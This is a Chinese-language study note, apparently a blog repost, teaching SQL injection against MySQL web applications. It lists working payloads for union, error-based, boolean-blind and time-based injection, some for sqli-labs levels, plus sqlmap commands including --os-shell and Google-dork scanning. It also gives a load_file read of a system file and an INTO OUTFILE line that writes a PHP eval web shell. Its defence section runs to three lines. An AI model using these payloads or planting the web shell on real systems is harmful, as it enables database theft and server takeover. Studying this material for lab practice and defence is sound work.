zoukankan      html  css  js  c++  java
  • 网络安全学习笔记:SQL注入

    SQL注入

    1、原理

    针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。

      其成因可归结为以下两个原理叠加造成:

         1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句

        2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

    2、漏洞危害

    攻击者利用SQL注入漏洞们可以获取数据库中的多中信息(如:管理员后台密码),从而脱取数据库中内容(脱库)。 在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者就可以通过SQL注入漏洞直接获取webshell 或者服务器系统权限。 mof提权 、 udf提权

    3、分类

    SQL注入漏洞根据不同的标准,从数据类型分类来看 SQL注入分为数字型和字符型。 数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。 字符型注入正好相反 按照提交数据的位置分类GET、POST、Cookie和称GPC 数据库对基本的数据类型分为三大类:数字、文本、时间

    根据注入手法分类,大致分为以下几个类别

    联合查询    union query SQL injection
    报错注入    Error-based SQL injection
    布尔盲注    
    延时注入
    堆叠查询
    ​
    联合查询、报错注入、布尔盲注、延时注入 ---查
    堆叠查询    ---增删改
    联合查询、报错注入   ---可以看到数据库的回显,包括正确和错误信息
    布尔盲注、延时注入   ---看到的页面的状态,不是数据库的回显

    4、Mysql相关

    注释
    #
    -- (杠杠空格)
    /**/
    /*! … */ 内联查询

    部分数据库函数

    =|>|>=|<=|<>比较运算符SELECT 1<>2;
    and|or 逻辑运算符 select 1 and 0;
    version() mysql 数据库版本 select version();
    database() 当前数据库名 select database();
    user() 用户名 select user();
    current_user() 当前用户名 select current_user();
    system_user() 系统用户名 select system_user();
    @@datadir 数据库路径 select @@datadir;
    @@version_compile_os 操作系统版本 select @@version_compile_os;
    length() 返回字符串长度 select length('ffdfs');select length(version());
    substring() 截取字符串(三个参数) select substring("dhffjf",2,2);
    substr() 1、截取的字符串2、截取的起始位置,从1开始 select substr("version()",2);select substr(version(),2,10);
    mid() 3、截取长度 select mid(' select ',2,6);
    left() 从左侧开始去指定字符个数的字符串 select left('adc',2);select left(version(),2);
    concat() 没有分隔符的连接字符串 select concat('a','b','c');
    concat_ws() 含有分隔符的连接字符串 select concat_ws('/','a','b','c');| a/b/c |
    group_concat() 连接一个组的字符串 select group_concat(id) from users;
    ord 返回ASCII码 select ord('a');
    ascii()   select ascii('a');
    hex() 将字符串转换为十六进制 select hex('a');
    unhex() hex 的反向操作 select unhex(61);
    md5() 返回MD5 值 select md5('123456');
    floor(x) 返回不大于x 的最大整数  
    round() 返回参数x 接近的整数  
    rand() 返回0-1 之间的随机浮点数 select rand();
    load_file() 读取文件,并返回文件内容作为一个字符串  
    sleep() 睡眠时间为指定的秒数 select sleep(5);
    if(true,t,f) if判断 select if(true,1,0);select if(false,1,0);
    find_in_set() 返回字符串在字符串列表中的位置  
    benchmark() 指定语句执行的次数  
    name_const() 返回表作为结果  

      1、SQL语句解析过程

    SQL 语句解析过程
    from -->group by --> having --> select -->order by 
    from 后面的表标识了这条语句要查询的数据源
    from 过程之后会形成一个虚拟的表VT1.# where
    where 对VT1 过程中生成的临时表进行过滤,满足where 子句的列被插入到VT2 .# group by
    group by 会把VT2 生成的表按照group by 中的列进行分组,生成 VT3
    ​
    # having
    having 这个group by 的子句对VT3 表中的不同分组进行过滤,满足having 条件的子句被加入到VT4 表中。
    ​
    # select
    select 这个子句对select 子句中的元素进行处理,生成VT5
    计算select 子句中的表达式,生成VT5.1
    distinct 删除VT5.1表中的重复列,生成VT5.2
    top 从order by 子句中定义的结果中,删选出符合条件的列,生成VT5.3# order by
    order by 从VT5.3 中的表,根据子句中的结果进行排序,生成VT6

    4、注入点

    注入点可能的位置 根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要代入数据库查询,都有存在SQL 注入的可能,这些地方通常包括:GET 数据、POS 数据、HTTP头部(HTTP请求报文其他字段)、Cookie 数据

    5、注入点判断

    判断类型
    123' 返回页面包含123时,为字符型,没有123是为数字
    考虑闭合类型 ' " ') ") ')) "))

    +1、-1 有变化有回显考虑联合查询;有变化有报错考虑报错注入;没变化没报错没回显考虑布尔盲注;没有以上情况,考虑延时注入

    是否有回显           联合查询
    是否有报错           报错注入
    是否有布尔类型状态 布尔盲注
    绝招                 延时注入

    判断布尔类型的状态
    ?id=35 and 1=1 ?id=35 and 1=2
    (如果1=2正常,可能为字符型)

    判断延时
    ?id=35 and sleep(5) 可以通过F12-->'网络'进行查看      

    6、联合查询注入

    联合查询就是SQL 语法中的union select 语句。该语句会同时执行两条select 语句,

    前面语句为假时,显示后面语句执行的结果

    生成两张虚拟表,然后把查询到的结果进行拼接。
    select ~~~~ union select ~~~~
    由于虚拟表时二维机构,联合查询会“纵向”拼接两张虚拟表
    实现跨库|跨表查询
    必要条件
    @ 两张虚拟的表具有相同的列数
    @ 虚拟表对应的数据类型相同

    1、判断字段个数(列数)

    使用[order by] 语句来判断当前select 语句所查询的虚拟列表的列数。
    [order by] 语句本意时按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1] 就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unkown column].我们可以依次增加数字,知道数据库报错。
    判断显示位置、列数
    得到字段个数之后,可以尝试构造联合查询语句
    这里我们并不知道表名,根据mysql 数据库的特性,select 语句执行过程中,并不需要指定表名。。

    ?id=33 union select 1,2,3,4,5,6,7,8,9,10--+
    返回错误时,表示没有该列数
    ?id=33 union select null,null,null,null,null,null,null,null--+

    页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL,语句:
    ?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+
    ?id=-33 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+
    如下图---显示出数据

    image-20201104143221810

    llegal mix of collations for operation 'UNION' 出错时

    编码限制绕过

    image-20201104145017053

    采用hex(16进制编码)

    ?id=-33 union select  1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database() 
    ​
    ?id=-33 union select  1,2,hex((select group_concat(table_name) from information_schema.tables where  table_schema='security'  )),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() 

    image-20201104144930218

    不支持字符型时,采用16进制转换

    image-20201104150630866

    image-20201104150723866

    16进制需要在转换后加上0x

    image-20201104150830017

    image-20201104150856505

    7、报错注入

    1、group by 重复键冲突(floor)

    group by是mysql天生的BUG(编号#8652),是一种比较可靠的注入方式 有一定的成功率,可能成功,也可能不成功,建议多试几次
    
    ?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
    ​
    select a,count(*) from r1 group by round(rand(),1);
    ​
    select floor(rand()*3),a,count(*) from r1 group by 1; 
    ​
    select min(@a:=1) from(select 1 union select null union select !1)a group by concat('~',@@version,'~',@a:=(@a+1)%2);
    ​
    在concat()里面添加条件

    2、extractvalue()

    ?id=1 and extractvalue(1,concat('~',(select version()),'~')) --+

    3、updatexml()

    ?id=1 and updatexml(1,concat('~',(select version()),'~')) --+

    8、布尔盲注

    获取数据库名
        数据库名长度
    [… and length(database())<=10 --+]
    [… and length(database())=3 --+]
        数据库名
    [… and ascii(substr(database(),1,1))=99--+]

    9、延时注入

    利用sleep() 语句的延时性,以时间线作为判断条件
    获取数据库名
        获取数据库名长度
    ?id=1 and if((length(database())=3),sleep(5),1)--+
    ​
        数据库名第二位
    ?id=1 and if((ascii(substr(database(),2,1,)=109),sleep(5),1)

    10、sqlmap

    get注入
    ​
    -u "url"    检测注入点
    --dbs       列出所有数据库的名字
    --current-db    列出当前数据的名
    -D      指定一个数据库
    --tables    列出表名
    -T  指定表名
    --columns   列出所有字段名
    -C  指定字段
    --dump  列出字段内容
    ​
    ----------
    ​
    post注入
    ​
    -r post.txt 从文件中读入http请求(post.txt是用burpsuite抓取得post数据包构成)
    --os-shell  获取shell
    sqlmap -g "inurl:php?id="   利用google 自动搜索注入点
    ​
    ---------
    ​
    携带cookie 的认证
    要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
    --cookie ""

    11、其他注入

    SQL 注入文件读写
            SQL 注入漏洞文件读写文件。但是读写文件需要一定的条件
    该参数再高版本的mysql 数据库中限制了文件的导入导出。
    改参数可以写在my.ini 配置文件,并重启mysql 服务。
    打开my.ini 配置文件,在mysqld下添加 secure-file-priv
    读取文件操作
    … union select 1,load_file('C:\Windows\System32\drivers\etc\hosts'),3 --+
    写入文件操作
    ?id=1 and union select 1,2,"<?php @eval($_REQUESTS[777]);?>",4 into outfile "c:\phpstudy\www\2.php"
    宽字节注入
    使用?id=1,页面有回显,使用联合注入查询
    使用?id=1'测试的时候,会发现单引号被转义了
            测试网站的编码是GBK编码,其采用双字节编码范围,GBK的编码范围,
        8140-FEFE(高字节从81到FE,低字节从40到FE)
    ?id=1%df' union select 1,2,3 --+
    Cookie注入
    在控制台输入
    document.cookie="uname =Dumb' and extractvalue(1,concat(0x7e,database(),0x7e),1)#

    也可以用burpsuite抓包修改Cookie

    img

    base64注入
    base64 编码是以==结尾
     
    
    我们以sqli-labs 第22关来说明base64 注入的问题
    base注入 就是将注入的字段经过base64 编码,
    发现22 关是输入Cookie 型的base64 注入,使用报错注入手法
    uname =Dumb" and updatexml(1,concat(0x5e,version(),0x5e),1)#
    base64 编码之后:
    RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLHZlcnNpb24oKSwweDVlKSwxKSM=

    img

    HTTP 头部注入
    User-Agent 注入
        sqli-labs 第18关
            payload
                User-Agent:hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1

    img

    Referer 注入
    第19 关,注入字段在Referer 中
    hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1

    img

    12、防御

    1、对用户输入的数据进行过滤
    2、增设WAF
    3、添加PDO
  • 相关阅读:
    Docker大行其道—镜像
    Google 推出全新的两步验证机制
    安全警告——“Windows已经阻止此软件因为无法验证发行者”解决办法
    Word2010 自动生成二级编号
    正则表达式判断汉字
    c# IList<T> 深拷贝
    C#IList 取区间数据
    Oracle 同环比排除分母0
    Git 删除服务器的远程分支
    【转】C#获取当前路径7种方法
  • 原文地址:https://www.cnblogs.com/Xshun-z/p/13957248.html
Copyright © 2011-2022 走看看